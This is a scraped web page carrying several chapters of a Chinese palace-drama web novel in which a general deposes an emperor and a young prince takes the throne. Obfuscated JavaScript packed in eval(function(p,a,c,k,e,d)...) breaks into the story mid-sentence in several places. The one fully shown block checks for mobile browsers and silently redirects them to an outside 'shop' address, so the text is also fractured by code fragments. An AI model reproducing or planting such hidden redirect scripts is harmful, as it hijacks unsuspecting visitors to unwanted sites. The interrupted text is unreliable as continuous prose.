$(''#content'').append('' > 最后皇帝问他们要如何是好的时候,却没有一个人敢出声。 要是以往楚将军还在的时候,他们根本不用担心这些,他们只需要好好的坐在皇城脚下,指指点点的告诉他们应该如何去做就好了,等现在真的要让他们自己去做的时候,却没有一个人敢开口了。 现在,朝中无良将啊。 良久,皇帝才开口:“退朝。” 大臣们不知道该如何是好,皇帝也不知道。 他按了按太阳穴,第一次后悔起来,他是不是当初对楚家做的太绝了。 还没等这个想法成型,就被传来的消息吹散了。 “陛下,楚小将军出现在了边境战场。” 原本对于楚家的愧疚,瞬间变成了警惕。 楚萧? 他怎么出现了? 他不是死在战场上了吗? 楚萧在战场上消失,所有人都默认他已经死了,没想到他居然又出现了。 这个时间是巧合?还是他故意在匈奴进犯的时候回来的? 这些问题注定是没人回答他的,现在外敌环侧,皇帝再怎么怀疑,也只能捏着鼻子高高兴兴的请楚萧帮忙抵御外敌。 皇帝的想法没人知道,就算对他了解最深的大太监和贵妃,也只是知道最近皇上心情不好,不过他们只以为他是担忧匈奴的事情。 他们根本猜不到,也不敢猜,皇帝居然会因为楚萧平安回来而不开心。 楚萧来到边境以后,直接带着信物去找了楚家军的旧部,自从楚将军去世,楚萧失踪,楚家军的心就散了,但是楚萧归来,他依然能打造出新的楚家军。 这些年皇帝一直打压楚家旧部,他们很多都蛰伏了起来,直到楚萧传召,他们才一个个的又展露锋芒。 随着大捷的消息传来,楚萧在民间的声望更盛,大臣们也都是松了一口气的样子,皇帝这两天的心情越来越不好,连贵妃都不敢随意说话,侍奉他的时候一直在提醒自己谨慎再谨慎,生怕哪里不对就被皇帝迁怒上了。 一开始贵妃还不明白,为什么明明都快要胜利了,皇上却越来越不开心,直到她无意间听到宫女们议论。 “楚将军真是大英雄,他一来,匈奴人都被吓得屁滚尿流了。” “是啊是啊,要不是有楚将军,还不知道有没有人敢上战场呢。” 如同醍醐灌顶般,贵妃瞬间就明白了皇上在不高兴什么,原来是这样啊。 但是明白了之后,贵妃却有些茫然,她本来是想着,找到皇上的症结之后,她可以对症下药来安慰他,但是现在知道了,她也犹豫了。 她真的要诋毁楚将军来哄皇上开心吗? 贵妃没有这样做,她觉得自己过不了心里那个坎。 但是除了贵妃以外,其他人里面也不缺乏聪明人,很快就有人知道了皇上为什么这些天总是脾气不好了。 皇帝身边的大太监,是他最信任的人之一,也是从小就陪着他的老人,他在皇帝心里的地位十分特殊,但这也不意味着他就一家独大了。 那些小太监们多的是想要把他拉下马的,皇宫里,最不缺的就是讨好皇帝的人。 这不,现在就有一个,大太监垂头立在不远处,听着那个小太监的话,眼底闪过一抹精光。 “陛下,奴才听闻,栖霞宫的娘娘曾是楚将军的未婚妻。” 102. 第 102 章 102 等姜令仪被几个膀大腰圆的嬷嬷按着跪到栖霞宫门口的时候,她还不知道发生了什么事情。 姜令仪自己的小身板没多大力气,所以她很配合这些人的动作,争取让自己少受一点罪。 不过该问还是要问的:“几位嬷嬷,还请告知我犯了什么错,值得让宫妃下跪来作为惩罚?” 一个嬷嬷语气厌恶:“四皇子殿下高热不醒,娘娘还如此淡然,不是亲生的孩子果然不配得到怜惜吗?陛下恩德,允你抚养四皇子,你就是这么回报陛下的信任?” “四皇子高热?” 别的话她都自动过滤掉了,只有四皇子高热让姜令仪一惊,明明昨天晚上吃饭的时候他还好好的,在饭桌上还给她讲了两个历史故事,今天怎么就发烧了? 也不管这几个嬷嬷虎视眈眈的样子,姜令仪直接站了起来,“我要去看看四皇子。” “娘娘还是乖乖受罚的好,等陛下何时消了气,娘娘再去看望四皇子也不迟。” 姜令仪乐了:“所以皇上只是生气,他也没说要罚我?那是谁给你的胆子对宫妃动用私刑的?是贵妃?还是淑妃?” 她的眼神陡然冷了下来:“我是不得宠,但是嬷嬷背后的主子也要掂量一下,我毕竟是吴国送来的人,是用来展现两国友好的和亲公主,不是什么随随便便谁都能踩两脚的小蚂蚁。” “嬷嬷,我能去看看四皇子了吗?” 几个嬷嬷对视了一眼,最终还是咬牙决定,“娘娘看一眼就回来继续跪着?” “好。” 姜令仪不想跟她们歪缠浪费时间,她现在很担心杨瞻,怎么就突然发烧了呢,要知道古代的发烧可能不是喝两包感冒药就能好的病,这可是会死人的,别说杨瞻本来就是一个身体不好的小少年了,有许多身强体壮的成年人都会因为一场风寒去世的。 想了想,姜令仪先回屋拿了两样东西,然后才向四皇子住的方向走去。 有两个嬷嬷在后面跟着,姜令仪也没有心思关注,不过他们倒是自觉的留在了门外面。 四皇子和姜令仪还不一样,他再不受宠,也是一国皇子,他们这些奴才可以暗戳戳的给他使绊子,但是绝不能在明面上给他难堪。 姜令仪进去之后,只有那个叫小福子的小太监守在杨瞻旁边,时不时的摸摸他额头的温度,急得像热锅上的蚂蚁一样。 小福子是自愿跟着四皇子的小太监,在杨瞻落魄后,不少人都找门路调走了,小福子没什么背景,被调过来之后就勤勤恳恳的服侍他,姜令仪和他也还算熟悉。 “小福子,四皇子怎么样了?” 姜令仪坐在床边,也伸手试了试他额头上的温度,很烫。 小福子像找到了主心骨一样,眼泪都快掉下来了,“娘娘,四皇子一直发热,去请太医他们都推脱没空,现在越来越烫了,娘娘怎么办啊?” 他慌,姜令仪也慌,但是她没有表现出来,反而镇定的指挥小福子:“我拿了药丸,你去端些热水过来,让四皇子先吃药。” “是。” 小福子去拿热水了,姜令仪十分庆幸她无论什么时候都有囤药的习惯,家里一直都会备着一些常用药物,自从温饱不是问题之后,姜令仪还在太医院买了不少常用药,感冒的,发烧的,咳嗽的她都有,还制成药丸子方便携带以防万一,这不,现在就用上了。 杨瞻就着热水把药吞服了,被扶起来之后就迷迷糊糊的醒了,姜令仪放低声音:“睡一会儿,别怕,很快就没事了。” 杨瞻用力扬起一个笑容,想让她别太担心,但是许久只挤出一个“好”字。 把被子给他盖好,姜令仪问小福子:“有没有酒?” “有,四皇子不饮酒,但是库房里收藏了不少,都堆着积灰呢。” 姜令仪:“如果一会儿他的烧还是退不了,就用酒精给他擦拭颈部和前胸的位置,注意不要让他着凉了。” 小福子慌张起来:“娘娘不留下来吗?那些嬷嬷让她们在外面等着就是了。” 这段时间已经足够小福子弄清楚是怎么回事了,想到姜令仪要被罚跪,他的膝盖就已经隐隐作痛起来。 姜令仪知道这只是他们磋磨她的手段,逃了这个,还有下一个等着,再者,几个奴婢不敢对四皇子怎么样,但是他们背后的主子可不是。 按照他们有恃无恐的样子来看,他们背后的主子可能还并不是后宫的主子,姜令仪提起贵妃淑妃,这几个嬷嬷的眼神都是无动于衷,别说慌张了,甚至还有一些看不起。 姜令仪怀疑,是皇帝身边的人吩咐他们做的事,更有甚者,这件事本来就是皇帝授意的。 姜令仪觉得她完全没有躲着的必要了,现在她根本没有抗衡的资本。 在门外的嬷嬷见她出来,也没有说她待的时间长了,催促她她赶紧回去跪着。 行吧,看来她不知道是哪里碍着皇帝的眼了,底下的人拿她出气呢。 她依言跪下。 乾清宫。 趁着皇帝休息的时候,一个小太监谄媚上前:“皇上,四皇子殿下高热,栖霞宫娘娘自知照顾不周,在殿前跪下和皇上请罪呢?” “哦?”皇帝来了一点兴趣,“现在还跪着呢?” 外面阴风阵阵,天空阴沉的的让人害怕,俨然是风雨欲来的架势。 小太监应道:“娘娘心情悲痛,此时还在跪着请罪。” 乾清宫的总管大太监站在角落里,眼里划过一丝嘲讽,他开口接话:“四皇子也是可怜,如今还不知道是什么光景呢?” 皇帝这才像是想起他的四儿子,“请太医去看看,本来就不聪明,别烧出个好歹来了。” “是。” 本来这种小事用不着大太监走一趟,但是他不想看着里面的人演戏,索性避出来找点事做。 这都是皇帝一贯的手段,他想整治谁,从来不会说出来,只需要他表现出一点想法,多的是人为他冲锋陷阵,这样的事大太监以前也没少做过,不过现在嘛,他想换个主子了。 在去太医院的路上,大太监拐去了御花园,在一块石头底下压了一个纸条,他刚走,就有人把纸条拿走了,随后就有信鸽送消息去了边关。 大太监给自己选的新主子就是楚萧,他是最早知道楚萧的消息的,那一刻,他就知道,楚萧一定会回来复仇的,而复仇的对象,就是他们尊贵的皇帝陛下。 于是大太监主动联系上楚萧,想要和他合作,说的更准确一点,他想要投效楚萧,正好他需要宫中的人给他传消息,便没有拒绝。 姜令仪不知道自己跪了多久,雨滴掉下来的时候她有些恍惚。 下雨了啊。 真是秋风秋雨愁煞人。 姜令仪觉得自己该晕倒了,她可不会傻乎乎的淋雨跪着,万一把她淋感冒了怎么办,再说了,一下雨,她膝盖上绑的“跪的容易”可就藏不住了。 不过那嬷嬷仿佛看出来了她的想法,警告她:“娘娘最好还是不要耍什么小花招,奴婢们在宫里待了大半辈子,什么样的手段没见过?” 能活到现在,她们见过无数的后宫隐私,什么样的手段她们没见过?真晕假晕她们扫一眼就能看出来。 姜令仪还没来得及思考下一步怎么办,就觉得一阵天晕地旋,然后什么也不知道了。 一旁的几个嬷嬷面面相觑,她们是真的见多识广,自然知道她是真的晕倒了,“这……要把她接着叫醒吗?” 晕倒了叫醒的办法也不是没有,但是这几个嬷嬷还没有真黑心到那个地步,犹豫了片刻,还是觉得不能为了她坏了自己在皇上那边的印象,主事的人刚想说叫醒的时候,大太监来了。 “几位老姐姐,跟杂家回去复命吧。” “这……” 大太监一脸笑容:“反正她也晕倒了,你们的任务也算完成了,再说了,就这么晕在雨里不是更好吗?” 几个嬷嬷瞬间明白了他的意思,这是让她继续留在雨里啊,顿时没有了心理负担,满面笑容的回去讨赏去了。 大太监想的是先把这几个人忽悠走,然后栖霞宫里的下人把她抬回去就可以了,他可是知道楚萧非常关心他这个未婚妻的,之前传消息基本上都是为了她。 现在帮了她,也算是为自己提前留下个好印象,现在不受宠没关系,说不定换一个皇帝就受宠了,大太监美滋滋的离开了。 殊不知,他们离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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小福子马上明白了自家主子的意思,这是怕娘娘出了什么事,到时候去太医院又找不到人,还不如先准备好。 然后小福子就像刚看见太医一样,一脸笑容的迎了上去,“诶呀,刚刚雨太大了没看见您,这是来给我们殿下看病的吧,殿下他不小心磕到了,有点着凉,还有点高热,您看看有没有对症的药?” 就这样,太医眼睁睁看着自己需要诊治的对象四皇子,就这样大摇大摆的出去了,留下了一个小太监喋喋不休的问他各种问题,还要了不少症状的药。 有小福子拦着太医,杨瞻很顺利的来到了栖霞宫,这条路他走过了无数遍,但是没有哪一次像今天这样让他忐忑。 等看到门外姜令仪倒在地上不省人事之后,他原本被压下的戾气瞬间吞没了他的理智。 扔了伞,把姜令仪抱到门檐下,杨瞻敲了敲紧闭的大门,意料之中的没有人应声,他冷笑一声,也不浪费时间,直接把身上的雨披拿下来给姜令仪盖上,抱上人冲进了雨幕中。 杨瞻再怎么说也还是一个病弱的少年,抱着姜令仪走了一会儿就感觉到吃力了,好在离得也不是太远,他知道一个小路,再坚持一下就到了。 中途姜令仪醒了一次,看到了抱着她的杨瞻,他的眼睫毛上的水珠欲坠不坠,姜令仪觉得自己有点眼花,一时分不清这是雨水,是眼泪还是汗水了? 她笑了笑:“以后我少吃点,减肥。” 杨瞻看她还有心思开玩笑,也松了一口气:“不用,就你这样的,我还能抱十个。” 姜令仪不理会青春期孩子莫名其妙的胜负欲,感叹道:“白得了你这么个便宜儿子,好像还不赖?” “那当然了,我喊你一声娘,以后肯定会为你养老的。” “好啊,就这么说定了。” 不说小福子见到淋雨的两个主子是怎样的兵荒马乱,还好留下了不少药,够给他们两个吃了。 而养病的两个人也暂时没了人来打扰,因为没人知道,为什么刚刚打了胜仗的楚萧没有在边关等圣旨封赏,而是带着一批人马来到了京城郊外。 收到大太监的消息,楚萧原本就面无表情的一张脸更加冷峻,他不打算等了。 “直接进宫。” 103. 第 103 章 103 暮色更重了,空气里还隐隐飘来一股血腥气,但是还在昏迷的姜令仪和杨瞻不知道,照顾两个主子忙的团团转的小福子也不知道。 直到一阵兵甲相撞的声音伴随着脚步声传来,小福子才放下热了几次的粥去开门。 “谁啊?” 手都放到门闩上了,小福子才想起来不能随便开门,问了一声门外来者是何人。 “是我啊,前两天来给四皇子看过病的太医,福公公给我开一下门,我来给殿下复诊。” 确认了声音没问题,就是之前来过的那个太医,小福子放下了心,然后想起了他刚刚对自己的称呼,惊喜的发现,他居然叫我“福公公”诶。 第一次被喊福公公,小福子把这三个字翻来覆去的咂摸了几遍,然后傻笑几声,直到拍门的声音再次响起,他才笑容满面的给人开门。 但是门一打开,小福子脸上的笑就僵住了,太医脖子上明晃晃的那把剑,还有脸上比哭还难看的笑容,让小福子也想哭了。 他瞪着太医,用眼神控诉,好你个浓眉大眼的大夫,没想到还会带这么危险的人来敲门。 太医顾不上小福子的瞪视,他讨好的看向把剑架在他脖子上的人,“楚将军,就是在这里了,娘娘病了,暂且住在四皇子这里。” 楚萧把剑放下,沉声道:“去给他们看病。” 转向小福子的时候,语气平和了一些:“带路。” 不过他语气的变化,紧张的都快腿抖的两个人大抵是听不出来的。 小福子也顾不害怕了,他们屋子里还有两个病号呢,想了想,怕太医给四皇子看完病就不给娘娘看了,小福子先带太医去看了姜令仪。 小福子委婉的说:“娘娘淋雨晕倒了,之前喝了你留下的那些药,中途醒过两次,不过还是迷迷糊糊的不太清醒。” 太医一上手把脉,就知道这是怎么回事儿了,本来不是太严重,但是因为姜令仪以前郁结于心,现在跟着病症一起爆发出来了,太医皱起了眉头。 思索片刻,提笔开药,下意识嘱咐家属,“病人之前曾经大恐大悲,恐伤肾,悲伤肺,以后切忌不要心绪起伏太过,还有风邪入体,先喝几服药看看吧,对了,再拿点跌打损伤的药,把伤口涂一下吧。” 三下五除二把药方写好,太医原本看病时的放松又变成了紧张,“楚将军,您看?” 楚萧点头,旁边立刻有人接过了药方准备去抓药,但是这笔字儿,“重新写一遍,字迹工整一点。” 太医有史以来第一次能看清楚自己写了什么东西,不甘不愿的在这个黑脸大汉魁梧的体格下屈服了。 “行了。” 黑脸大汉接过来,确定能看懂,才转身离开,他们的军医在药房等着呢,军医擅长治外伤和骨科,但是这些药什么作用看懂也是没问题的。 给姜令仪看完,小福子又带着太医去看四皇子,走了两步发现楚萧没跟上,还站在床前盯着姜令仪看。 小福子一个激灵,也顾不上害怕了,扬声叫楚萧跟上,“娘娘快到换药的时间了,这位将军,咱们先避开吧。” 这两天小福子请一个老嬷嬷给姜令仪在膝盖上抹活血化瘀的药,这个药需要大力揉开,一般的小宫女没这个力气,小福子特意找了一个力气大的嬷嬷。 楚萧点头,顺从的跟着小福子出去了,不过他没有让小福子说的那个嬷嬷过来,而是让手底下的人找了一个女兵,让她拿军队里的药去给姜令仪揉开。 太医心里暗道,这小太监可是不得了了,连楚将军都敢指挥,关键是还让他给指挥动了。 楚萧他们过去的时候,杨瞻是醒着的,他淋雨时间短,回来之后喝了姜茶发汗,所以症状比姜令仪轻多了,喝了几天药,除了身上还没什么力气,其他的都还好。 “我娘怎么样了?” 一见小福子,杨瞻就问姜令仪的情况,之前也是如此,除了刚醒的时候去看过一次姜令仪,后面小福子怕两个主子互相过病气儿,就严禁他们两个见面,他自己在中间当传话筒。 所以现在他熟练的回答:“烧退了,太医又换了药方调整,腿上的淤青也好了不少,今天早上清醒了一次,还问了殿下怎么样了,吃了半碗小米粥,喝了一杯水,看起来好了不少。” “对了,这位将军给您和娘娘请了太医,您伸手让太医再看看。” 楚萧一进来,杨瞻就注意到了他,毕竟这人的气势实在骇人,没有人能在他站在面前的时候还能无动于衷。 “这位将军是?” 楚萧上下打量了他两眼,没有回答他的问题,而是问道:“你们是母子?” “当然,玉碟都改了。” 天王老子来了他们也是母子关系。 太医把完脉,眉头皱的更紧了:“四皇子这次的病没什么问题了,但是体弱,这应该是……” 杨瞻打断了他的话:“我知道了。” 楚萧扫了他一眼:“去开药吧。” 小福子和太医两个人出去以后,楚萧才开口:“中毒?” 杨瞻并不意外他能猜到,也没隐瞒:“是我生母,之前的皇后娘娘下的毒,不过就是会让我体弱而已,没什么大事,所以不用告诉我娘了。” 他没打算让太多人知道,毕竟也不是什么光彩的事儿,告诉姜令仪,也只会让她担忧,这毒霸道,借了以后的健康,那必须就要还回去,很公平。 楚萧顿了一下,转移话题:“四皇子,我想和你谈一笔生意。” “那将军不妨先告诉我你的名号?” “我是楚萧。” 楚萧? 杨瞻脑子里划过一连串的卧槽,他不知道自己想了点什么,只知道自己问出了:“你就是我娘的未婚夫?” 老天爷啊,这是什么迷惑发言?他现在怎么有点像是混球儿子阻碍寡母寻找第二春? 杨瞻面上再正经不过,实际上已经在心里捂脸了。 楚萧也被他的问话难倒了,他抿了抿唇,答道:“是。” “那你怎么进宫了?你可不要冲动啊,虽然我娘在冷宫里不起眼,但一个活生生的人消失了绝对是会被发现的。” “我知道。” 这话也太少了,以前姜令仪提起楚萧,只说他是一个多么意气风发的少年将军,从来没说过他话这么少啊。 别管杨瞻心里再怎么嘀咕,知道这是楚萧之后,他就没那么紧张了,或许是姜令仪和他叨叨过楚将军和楚萧,这时候杨瞻对他有一种莫名的亲近,就像见到了传说已久的人,对他全是好奇。 楚萧迎着他好奇的目光,问了他一句:“你想当皇帝吗?” 这样石破天惊的一句话就被他平平淡淡的说出了口,好像只要他说一句“好”,楚萧就能把皇位给他弄来似的。 杨瞻动了动屁股,看了一眼门口的方向,正色道:“没有人会不想当皇帝的吧?” 言下之意,就是他也想当。 杨瞻已经把之前带他娘隐居的想法踢掉了,现在这个世道,估计隐居也不安生,还不如他当了皇帝,让所有人都不敢惹她呢。 打定了主意之后,杨瞻已经在脑海里做好了最近的五年计划,他要继续当隐形皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462848|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子默默学习,然后挑起皇兄们的争斗,他给添个柴加把火,最好把他们统统烧死,然后再适时展现自己的实力,让大臣们看清楚,他才是最值得投靠的人。 发生了这样的事,他觉得自己的计划要加快了。 没成想,楚萧直接拿出了一张圣旨扔给杨瞻,“这是传位旨意,四皇子,皇帝并不只是掌握着生杀夺予的权利,更是担负着全天下的责任,希望你能做好,我会看着你的。” 打开圣旨看了看内容,杨瞻直接沉默了,他本来还准备打持久战呢,就这么容易到手了? 楚萧没有管他怎么想的,把圣旨扔给他之后,楚萧就转身出去了,正好碰到了回来了的小福子,和刚刚出门的女兵。 女兵抱拳行礼:“将军,上好药了。” 她不知道该如何称呼姜令仪,叫娘娘他们将军肯定不爱听,叫夫人又不合适,索性就略过了。 楚萧点头:“让军师准备一下,择日四皇子登基。” “是。” 楚萧手里有先帝的尚方宝剑,上斩昏君,下斩佞臣,他没有杀了皇帝,只是让他退位而已,楚萧觉得自己已经够仁慈了,不过等皇帝退了位,能不能接受得了其中的落差就不归他管了。 坐在姜令仪的床边上,楚萧开始思索要如何给师叔报仇,现在晋国也不安稳,小皇帝上位之后肯定要先动荡一段时间的,乱了这么些年,想恢复秩序也不是那么容易的。 楚萧满脑子都是晋国该如何发展的时候,姜令仪醒了。 “小将军?” 所有的思绪戛然而止,楚萧看向床上躺着的人:“檀娘。” 这样熟悉的称呼,让姜令仪的眼泪一下子流了出来,她都记不得多久没人喊过她的小名了,现在听到,反而有一种恍如隔世之感。 姜令仪揪着他的袖子,狠狠哭了一场,仿佛要把自己的委屈和害怕都哭出来,楚萧任由她发泄,不动也不说话,像是一尊沉默的雕像。 等姜令仪终于意识到自己失态,还没来得及不好意思,就看到了他空荡荡的衣袖,眼泪顿时又涌了上来。 楚萧轻叹一声,安抚道:“檀娘,别哭。” 姜令仪知道自己不应该哭的,楚萧肯定不希望别人用异样的眼光看他,不管是善意的还是恶意的,对他来说都不是什么愉快的体验。 说起来也是奇怪,他们两个人以前从未见过,就算父辈感情再好,没见过面的两个人也应该是生疏的,但又因为两个人都家破人亡,彼此之间倒成了最亲近的存在。 姜令仪抹了一把眼泪,不敢想以前的小将军是怎样成长为现在冷峻的模样,“小将军,你怎么进来的?皇宫里这么多侍卫,你不会是偷偷来的吧?” “叫我二哥吧。” 他早就不是小将军了。 先纠正了她的称呼,楚萧才道:“不是偷偷进来的,你放心,好好养病,过两天带你去看荷花。” 姜令仪忍不住笑了一下。 她小时候想去看荷花是怎么开的,还想看看里面是不是有小鱼,但是姜尚那段时间太忙了,说过几天再带她去看,她怕小鱼搬家了,就大中午的自己偷偷去看,没想到过了几天,白白嫩嫩的孩子愣是晒黑了,姜尚一边嫌弃一边大笑,还把这件趣事写信告诉了楚将军。 现在楚萧再提起来,姜令仪和不久前的杨瞻心理活动同步了,都想捂脸。 说了会儿话,姜令仪就又撑不住了,楚萧轻轻拍打着被子哄她接着睡。 等他睡着了,楚萧才站起身往外走,快走到门口的时候又停了下来,回头望一眼,什么也没说,转身又走了。 104. 第 104 章 104 在姜令仪养病的这几天,她浑然不知自己已经荣升成了太后娘娘,她的便宜儿子登基为帝,成了本朝历史上最小的皇帝。 本应是主少国疑,但又因为有楚萧这个摄政王强势的压下了一切不合时宜的声音,所以表面上看起来还算平静。 这时候就不得不感叹一句了,果然是枪杆子里才能出政权,拳头大才是硬道理,也怪不得皇帝会这样忌惮楚家了。 只要是武将,就没有不崇拜楚家的,楚家已经不单单是一个家族,而是成为了一个符号,一个精神象征,所以哪怕楚萧再年轻,他在军中也有着说一不二的魄力。 尤其是在楚将军死后,楚家军本来已经散了,不是没人想过收服他们,从来没人办到过而已,但是楚萧一回来,他们就又飞速团结起来,迸发出了惊人的战斗力。 姜令仪清醒的时间越来越长,除了发现翠儿和小福子不在这里伺候之后,还发现本来荒凉简陋的冷宫变得让她有些不认识了。 这样精巧的布置真的还是冷宫吗?她是不是又穿越了? 好在一身明黄色衣服的杨瞻进来,让她找回了些熟悉感,但是这身衣服,姜令仪仔细看了看,居然绣的是五爪金龙,这岂不是意味着…… “娘,我当皇帝了。” 杨瞻转了一个圈,让她能更仔细的看清楚这身衣服,屋子里只有他们两个,杨瞻就没有保持皇帝的威仪,看起来就像是一个炫耀的孩子。 “您是太后娘娘了,怎么样,开心吗?” 姜令仪觉得自己恐怕不是昏迷了几天,而是昏迷了几年吧?外面世界变化这么大的吗? 而且太后娘娘,感觉把她叫的好老啊。 她摸了摸自己的脸,打了个寒颤,不行不行,她才二十多岁,还小呢。 见她没有说话,杨瞻也没觉得奇怪,毕竟连他也觉得是在做梦一样呢。 把这几天的事情都细细交代一遍,姜令仪总结道:“所以说是楚萧把皇帝废了,你是皇帝,我是太后,他是摄政王了?” 杨瞻点头,没错,就是这样。 姜令仪总感觉有些不真实,他们升职也太快了吧,她完全没有一点准备。 事实上,升职加薪的日子太无聊了,姜令仪搬到了更大更辉煌的慈宁宫,一开始这样衣来伸手饭来张口的日子还是很爽的,但是时间久了难免没意思,每当这个时候,姜令仪就无比怀念她的手机,如果有手机,她能再躺一百年。 这本应是她梦想中的生活啊,姜令仪长叹一声,但是她又不能心安理得的躺平,她现在可是太后了,这个世界上最尊贵的人之一,全国资源奉养她,难道她能忍心百姓们一个铜板一个铜板攒下的钱养一个颓废的女人? 姜令仪做不到。 她现在想做什么事情简单的很,只要吩咐下去,就有人给她办好了,就算她说想要天上的月亮,都会有人为了讨她欢心给她造一个假月亮。 “我想要一种食物。” 姜令仪把画好的土豆和红薯递给一旁的太监,问众人:“你们有没有见过这两样东西?” 姜令仪曾经学过一点素描,太难的东西不敢说,画个红薯土豆还是很像的。 每个人都看了一圈之后,一个瘦瘦小小的宫女说她见过土豆:“老家那里叫地蛋,一开始灾荒的时候想吃它充饥,但是好多人吃了以后就会上吐下泻,应该是有毒的。” “是不是上面发芽了再吃的?” 小宫女想了想,她小时候也曾经吃过,好像腹泻那次就是吃了长芽的,“没错,就是这样。” 他们只当是有毒,除非是实在饿的受不了了,等闲不会有人去吃的,根本没想过这是因为长芽了才有的毒性。 这样一说,基本上就能确定这是土豆了,姜令仪在吴国十几年没有见过土豆和红薯,在晋国皇宫也没有见过,还以为现在是没有呢?没想到只是因为没有流传开。 没有人见过红薯,姜令仪也不失望,她原本也只是想试一试,都有当然更好,有一个也很幸运了。 既然知道这个世界上有土豆,姜令仪就等不及想要让人们知道这种高产且可以填饱肚子的作物了,“去看看摄政王在哪儿?” 现在姜令仪是后宫最大的官,所有的宫女太监都是归她管的,所以想要知道楚萧的踪迹还真不是难事儿,没一会儿就有人来回话了。 “王爷在演武场,皇上也在。” 演武场?看来应该是楚萧在教杨瞻练武,姜令仪让厨房准备了一些糕点饮料,装了满满一食盒,然后一群人就浩浩荡荡的出发了。 升职后就这点不太好,做什么都要有一大堆人跟着,要不是她强烈拒绝,她上个厕所都要有人在一旁服侍,她真的克服不了自己的心理障碍。 以前姜尚还在的时候,父女两个也不是喜欢人伺候的性子,基本上都是能自己动手就自己动手,还真没有这样羞耻的经历。 好在她说话还是管用的,她想自己用筷子吃饭,想睡觉的时候自己一个人,到最后这些都是按自己的心意来的。 到了演武场,遥遥望去,就看到了正在跑圈的杨瞻和站在一旁看着的楚萧。 杨瞻半走半跑,每次想停下来歇歇的时候,就会响起楚萧魔鬼般的声音:“跑不动了吗?” 楚萧也不会说什么难听的话,但是杨瞻听着他平淡无波的语气,简直是嘲讽值都拉满了,所以他就凭一口气一直坚持着没有放弃。 姜令仪:“哇哦,这是在特训吗?” 她一出现,楚萧就看见了,毕竟这么多人,恐怕也只有气喘如牛的可怜陛下不知道了。 楚萧的眼睛终于从杨瞻身上移开了,他上下打量了一下姜令仪,“他身体太弱了,你也是。” 言下之意,不仅杨瞻需要训练,她也需要。 一生不爱运动的姜令仪很感谢她的好意,但还是算了,她对运动过敏。 姜令仪转移话题,说起了她来这里的目的:“二哥,能帮我找一个东西吗?” 楚萧没有说话,只是用眼神示意让她说。 “云南小石坎村,有一种叫地蛋的食物,抗旱还高产,我想采购一批,如果真的是这样,那百姓们还可以多一样可以吃的粮食。” 楚萧的目光久久停留在她的脸上,一开始还没什么,后来姜令仪不由自主的摸了摸自己的脸,“二哥,我脸上有东西吗?” 楚萧摇头:“我只是没想到。” 没想到什么,他没说,她也没问。 其实姜令仪可以猜到,他们两个的经历有点类似,楚萧的心情可能会更加复杂,他们家用生命守护着的国家和子民,会在他们浴血奋战的时候背刺他,让他家破人亡。 他会不会后悔保护这个国家呢? 从他的行动来看,他是不后悔的,他知道自己的选择是正确的,但有没有那么几个瞬间,他会觉得对不起死去的爹娘呢? 姜令仪组织了一下语言:“二哥,我只是想让普通百姓吃饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在这一刻,他们才清楚的认识到,现在做主的不是他们这些文臣,不是刚刚登基的小皇帝,而是手握兵权的摄政王。 小皇帝晕倒的事情就这么轻飘飘的过去了。 其实杨瞻一开始觉得跑步很累,后来累到了极致,他倒觉得自己还能忍受了,要不是看到姜令仪来了,一激动岔了气,他也不会晕倒的。 清醒过来的杨瞻并没有第一时间睁开眼睛,他动了动耳朵,没发现周围有动静,就悄摸摸把一只眼睛掀开了一条缝,然后正对上了笑眯眯看着他的姜令仪。 被抓包了,杨瞻也就不装了,看了看没有旁人在,他就开始告状:“摄政王也太狠了,他让我跑步,还不许我停,停下来歇歇就骂我,我就一直跑一直跑,然后把我累的晕倒了。” 姜令仪配合着他的话,一脸心疼:“那咱们换个人教你吧,不要他教了。” 杨瞻犹犹豫豫的拒绝了,还给他找借口:“那还是别了,没人能比摄政王教得好吧?他可是楚萧诶,他这么训练肯定也是有他的道理的,别的不说,他训练人还是有一手的。” 姜令仪大笑:“那他到底是好还是不好?” 被她笑了,杨瞻也不闹,认真思考了一下,“如果他能温柔一点,都对我笑一笑,那他还是挺好的。” 姜令仪:“悄悄告诉你一个秘密,你别看楚萧脸色冷的能冻死个人,但他其实最心软了,尤其是对孩子,他从来狠不下心。” 真的吗?杨瞻表示怀疑,要知道楚萧训练自己的时候可从来没有看到过他手下留情。 直到后来杨瞻亲眼见到了楚萧是怎么训练自己手底下下的兵,才真正觉得他对自己已经是很温柔了。 他不信,姜令仪也不解释,而是让他自己求证:“你多留心一些,总能证明我没骗你的。” “那好吧。” 105. 第 105 章 105 自从和姜令仪的谈话之后,杨瞻就会下意识的观察楚萧的所作所为,想要看看他是不是真的如姜令仪说的那样面冷心软。 第一天,他因为迟到被罚跑了三圈。 第二天,他因为吃饭挑食被罚跑了五圈。 第三天,他因为做实验炸了姜令仪的偏殿被罚跑了十圈。 第四天,他躺床上歇菜了。 小福子去给他熬药了,另一个小太监在给他放松小腿,抱怨道:“摄政王也太严厉了,皇上,您这两天估计都得在床上养着了。” 杨瞻翘起了二郎腿,无所谓道:“朕正好休息两天,每日不是批奏折就是习武跑步,根本不给朕休息的时间,这两天正好和母后一起放松放松。” 这小太监眼珠一转,放轻声音:“皇上,太后娘娘和摄政王……” 他的话没说完,支支吾吾的样子一看就是有未尽之语,杨瞻挑了挑眉,“母后和摄政王怎么了?” 小太监跪在地上不敢抬头:“奴才也是听外面的流言才知道的,请皇上赎罪。” “流言?什么流言?你说吧,朕恕你无罪。” 